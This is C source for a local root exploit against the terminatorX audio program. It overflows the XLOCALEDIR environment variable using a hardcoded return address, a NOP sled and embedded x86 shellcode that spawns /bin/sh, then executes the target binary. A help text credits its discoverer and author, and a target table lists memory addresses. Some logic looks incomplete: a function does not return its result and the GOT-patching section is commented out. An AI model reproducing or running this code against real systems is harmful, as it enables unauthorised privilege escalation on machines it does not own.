#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* #include "shellcode.h" */

struct targets {
	char *name;
	char *comment;
	char *path;
	unsigned long ret;
	unsigned long got;
	int got_num;
};

unsigned char shellcode[] = 
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

unsigned int shellcode_len = 24;

struct targets targets[] = {
	{ "test compile", "compiled on up2date redhat box", "/usr/local/bin/terminatorX", 0xbffff3c0, 0x0812dea8, 395 }
};

unsigned long fetch_got_start(char *path, int *gotcnt)
{
	char cmd[1024];
	FILE *p;
	unsigned long ret;

	memset(cmd, 0, sizeof(cmd));
	snprintf(cmd, sizeof(cmd) - 1, "objdump -R %s | grep JUMP | sort", path);
	if((p = popen(cmd, "r")) == NULL) {
		printf("[!] Unable to popen(\"%s\"): %s\n", cmd, strerror(errno));
		exit(EXIT_FAILURE);
	}
	
	memset(cmd, 0, sizeof(cmd));
	ret = 0;
	*gotcnt = 0;
	
	while(fgets(cmd, sizeof(cmd) - 1, p) != NULL) {
		*gotcnt = *gotcnt + 1;
		if(ret == 0) {
			ret = strtoul(cmd, NULL, 16);
		}
	}

	pclose(p);

	printf("[!] Our GOT base is %p, and there are %d entries\n", ret, *gotcnt);
	
}

void help()
{
	int i;
	printf("fm-tX.c, terminatorX local root\n");
	printf("\t- discovered by jaguar\n");
	printf("\t- coded by Andrew Griffiths, ...\n\n");

	printf("-t\tselects the target from list\n");
	printf("-a\tautomagically determine and bruteforce values\n");
	printf("-p\tpath of terminatorX\n");

	printf("\nID\tOS\t\tComment\n");
	for(i = 0; i < sizeof(targets) / sizeof(struct targets); i++) {
		printf("[%d]\t%s\t%s\n", i, targets[i].name, targets[i].comment);
	}
	exit(EXIT_FAILURE);
}

int main(int argc, char **argv, char **envs)
{
	int got_cnt, *iptr;
	char c;
	int target, automagic, i;
	char *path;
	char *xlocaledir, *sc, *p;
	char *args[2], *envp[3];
	short gotnum;
	unsigned long base, ret;
	
	path = NULL;
	target = -1; automagic = 0;
	
	while((c = getopt(argc, argv, "t:ap:")) != EOF) {
		switch(c) {
		case 't': target = strtod(optarg, NULL); break;
		case 'a': automagic = 1; break;
		case 'p': path = optarg; break;
		}
	}
	
	if(target == -1 && automagic == 0) help();
	if(automagic == 1) {
		if(path == NULL) path = "/usr/local/bin/terminatorX";
		base = fetch_got_start(path, &got_cnt);
	} else {
		if(target < 0 || target > sizeof(targets) / sizeof(struct targets)) {
			printf("Invalid target ID\n");
			exit(EXIT_FAILURE);
		}
		base = targets[target].got;
		got_cnt = targets[target].got_num;
		path = targets[target].path;
		ret = targets[target].ret;
	}
	
	xlocaledir = malloc(5000);
	memset(xlocaledir, 0, 5000);
	
	p = xlocaledir + 1000;
	iptr = (unsigned int *)p; /* some wackiness involved in normal + 4000 adding. */

	/* ret = 0xbffff3c0; */
	for(i = 0; i < 900; i++) *(iptr + i) = ret;
	
	memset(xlocaledir, 0xcc, 1000);

	sc = malloc(5000);
	memset(sc, 0x90, 4000);
	memcpy(sc + 4000, shellcode, shellcode_len);
	sc[shellcode_len + 1] = 0xcc;
	
	args[0] = path;
	args[1] = NULL;

	//envp[0] = "DISPLAY=:0";
	//envp[1] = xlocaledir;
	//envp[2] = NULL;

	/*
	if((p = strchr(sc, 0x41)) == NULL) {
		printf("Do we have the correct shellcode.asm?\n");
		exit(EXIT_FAILURE);
	}
	
	gotnum = ~(got_cnt & 0xffff);
	*(p + 1) = (gotnum & 0xff00) >> 8;
	*(p + 0) = (gotnum & 0xff);
	
	if((p = strchr(sc, 0x42)) == NULL) {
		printf("Do we have the correct shellcode.asm?\n");
		exit(EXIT_FAILURE);
	} 

	*(p + 0) = base & 0xff;
	*(p + 1) = (base & 0xff00) >> 8;
	*(p + 2) = (base & 0xff0000) >> 16;
	*(p + 3) = (base & 0xff000000) >> 24;
	*/
	
	setenv("XLOCALEDIR", xlocaledir, 1); 
	setenv("c0dez", sc, 1);
	execvp(path, args);
}

